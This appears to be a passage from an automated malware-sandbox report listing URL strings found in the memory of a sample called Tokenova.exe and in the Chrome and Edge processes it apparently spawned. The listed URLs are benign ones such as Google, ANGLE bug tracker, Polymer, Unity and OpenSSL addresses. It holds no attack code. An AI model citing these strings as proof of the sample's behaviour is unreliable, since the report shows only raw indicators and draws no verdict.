Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430y
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2477186636.0000199C0038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2477186636.0000199C0038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906%
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428805388.00001344007D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2477186636.0000199C0038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760ty
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215il
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clients2.google.com/time/1/current
Source: chrome.exe, 00000003.00000002.2428243253.0000134400670000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: Tokenova.exe	String found in binary or memory: http://curl.haxx.se/rfc/cookie_spec.html
Source: chrome.exe, 00000003.00000002.2425370737.000013440006A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000003.00000003.2357002536.0000134400EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2358461651.0000134401028000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357055272.000013440100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357691391.0000134400F20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: chrome.exe, 00000003.00000003.2357002536.0000134400EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359157584.0000134400784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359742467.000013440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2358461651.0000134401028000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359178980.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359207001.0000134400F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359133040.0000134400C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429300259.000013440097F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357055272.000013440100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357243621.000013440105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359636796.0000134401128000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359526888.0000134400420000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357691391.0000134400F20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000003.00000003.2357002536.0000134400EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359157584.0000134400784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359742467.000013440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2358461651.0000134401028000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359178980.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359207001.0000134400F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359133040.0000134400C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429300259.000013440097F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357055272.000013440100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357243621.000013440105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359636796.0000134401128000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359526888.0000134400420000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357691391.0000134400F20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000003.00000003.2357002536.0000134400EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359157584.0000134400784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359742467.000013440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2358461651.0000134401028000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359178980.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359207001.0000134400F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359133040.0000134400C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429300259.000013440097F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357055272.000013440100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357243621.000013440105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359636796.0000134401128000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359526888.0000134400420000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357691391.0000134400F20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000003.00000003.2357002536.0000134400EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359157584.0000134400784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359742467.000013440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2358461651.0000134401028000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359178980.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359207001.0000134400F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359133040.0000134400C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429300259.000013440097F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357055272.000013440100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357243621.000013440105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359636796.0000134401128000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359526888.0000134400420000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2357691391.0000134400F20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chrome.exe, 00000003.00000002.2425688327.00001344000FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429300259.000013440094C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://redirector.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNzI0QUFXNV9zT2RvdUw
Source: chrome.exe, 00000003.00000002.2429300259.000013440094C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs
Source: Tokenova.exe	String found in binary or memory: http://stats.unity3d.com/HWStats.cgi
Source: Tokenova.exe	String found in binary or memory: http://stats.unity3d.com/HWStats.cgiStandaloneStatsDone0123456789abcdef
Source: chrome.exe, 00000003.00000002.2429300259.000013440094C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: chrome.exe, 00000003.00000002.2429300259.000013440094C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/U
Source: Tokenova.exe	String found in binary or memory: http://unity3d.com)
Source: Tokenova.exe	String found in binary or memory: http://unity3d.com)ExpectContent-Lengthidentity
Source: chrome.exe, 00000003.00000002.2432207809.00001344010F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google-analytics.com;reprt-uri
Source: chrome.exe, 00000003.00000002.2425688327.00001344000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/update2/response
Source: chrome.exe, 00000003.00000002.2429639160.00001344009F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: Tokenova.exe	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: Tokenova.exe	String found in binary or memory: http://www.openssl.org/support/faq.html....................
Source: Tokenova.exe, 00000000.00000002.2731739439.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2468642568.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430221162.0000134400B4C000.00000004.00000800.00020000.00000000.sdmp, ct00zu.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
